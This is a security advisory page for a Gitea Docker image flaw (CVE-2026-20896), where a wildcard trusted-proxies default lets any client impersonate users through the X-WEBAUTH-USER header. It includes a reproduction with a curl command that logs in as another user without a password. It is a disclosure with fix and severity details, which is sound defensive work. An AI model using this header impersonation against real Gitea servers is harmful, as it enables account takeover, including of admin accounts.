GHSA-F75J-4CW6-RMX4

Vulnerability from github – Published: 2026-07-21 20:28 – Updated: 2026-07-21 20:28
VLAI
Summary
Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`
Details

Summary

The Gitea Docker images ship an app.ini template that hard-codes:

REVERSE_PROXY_TRUSTED_PROXIES = *

The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted.

When an admin enables ENABLE_REVERSE_PROXY_AUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container.

Affected

  • gitea/gitea Docker images (verified 1.26.2)
  • docker/root/etc/templates/app.ini:55
  • docker/rootless/etc/templates/app.ini:52

Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.

Reproduction

docker run -d --name g -p 3000:3000 \
  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
  -e GITEA__security__INSTALL_LOCK=true \
  gitea/gitea:1.26.2

sleep 15
docker exec --user git g gitea admin user create \
  --username alice --password "longpasswordhere1234" \
  --email alice@x.test --must-change-password=false

Now the attack::


curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \
  | grep -oE '<title>[^<]+</title>'

Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie.

Same payload with X-WEBAUTH-USER: <any_existing_username> impersonates that user.

Impact

Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, gitea_admin, etc.) are the obvious targets.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.26.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-20896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:28:58Z",
    "nvd_published_at": "2026-07-03T21:16:56Z",
    "severity": "CRITICAL"
  },
  "details": "# Summary\n\nThe Gitea Docker images ship an `app.ini` template that hard-codes:\n\n```\nREVERSE_PROXY_TRUSTED_PROXIES = *\n```\n\nThe documented default for this setting, in `custom/conf/app.example.ini`, is `127.0.0.0/8,::1/128`, i.e. only loopback is trusted.\n\nWhen an admin enables `ENABLE_REVERSE_PROXY_AUTHENTICATION = true` to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at \"the default\", they expect only the proxy\u0027s loopback connection to inject identity. The Docker image instead trusts `X-WEBAUTH-USER` from **any source IP** that can reach the container.\n\n## Affected\n\n- `gitea/gitea` Docker images (verified `1.26.2`)\n- `docker/root/etc/templates/app.ini:55`\n- `docker/rootless/etc/templates/app.ini:52`\n\nBinary distribution and self-built deployments that follow `app.example.ini` get the loopback-only default and are not affected.\n\n## Reproduction\n\n```\ndocker run -d --name g -p 3000:3000 \\\n  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \\\n  -e GITEA__security__INSTALL_LOCK=true \\\n  gitea/gitea:1.26.2\n\nsleep 15\ndocker exec --user git g gitea admin user create \\\n  --username alice --password \"longpasswordhere1234\" \\\n  --email alice@x.test --must-change-password=false\n\nNow the attack::\n\n\ncurl -s -L -H \"X-WEBAUTH-USER: alice\" http://localhost:3000/ \\\n  | grep -oE \u0027\u003ctitle\u003e[^\u003c]+\u003c/title\u003e\u0027\n```\n\nOutput: `\u003ctitle\u003ealice - Dashboard - Gitea: Git with a cup of tea\u003c/title\u003e` \u2014 attacker is logged in as alice with one header, no password, no cookie.\n\nSame payload with `X-WEBAUTH-USER: \u003cany_existing_username\u003e` impersonates that user.\n\n## Impact\n\nAny process that can reach the Gitea container\u0027s HTTP port directly \u2014 not through the intended authenticating proxy \u2014 can impersonate any user whose login name is known or guessable. Admin accounts (`admin`, `gitea_admin`, etc.) are the obvious targets.",
  "id": "GHSA-f75j-4cw6-rmx4",
  "modified": "2026-07-21T20:28:58Z",
  "published": "2026-07-21T20:28:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20896"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38151"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/99f8b3d9a1d32f4c39828e07971455a18191e0b9"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.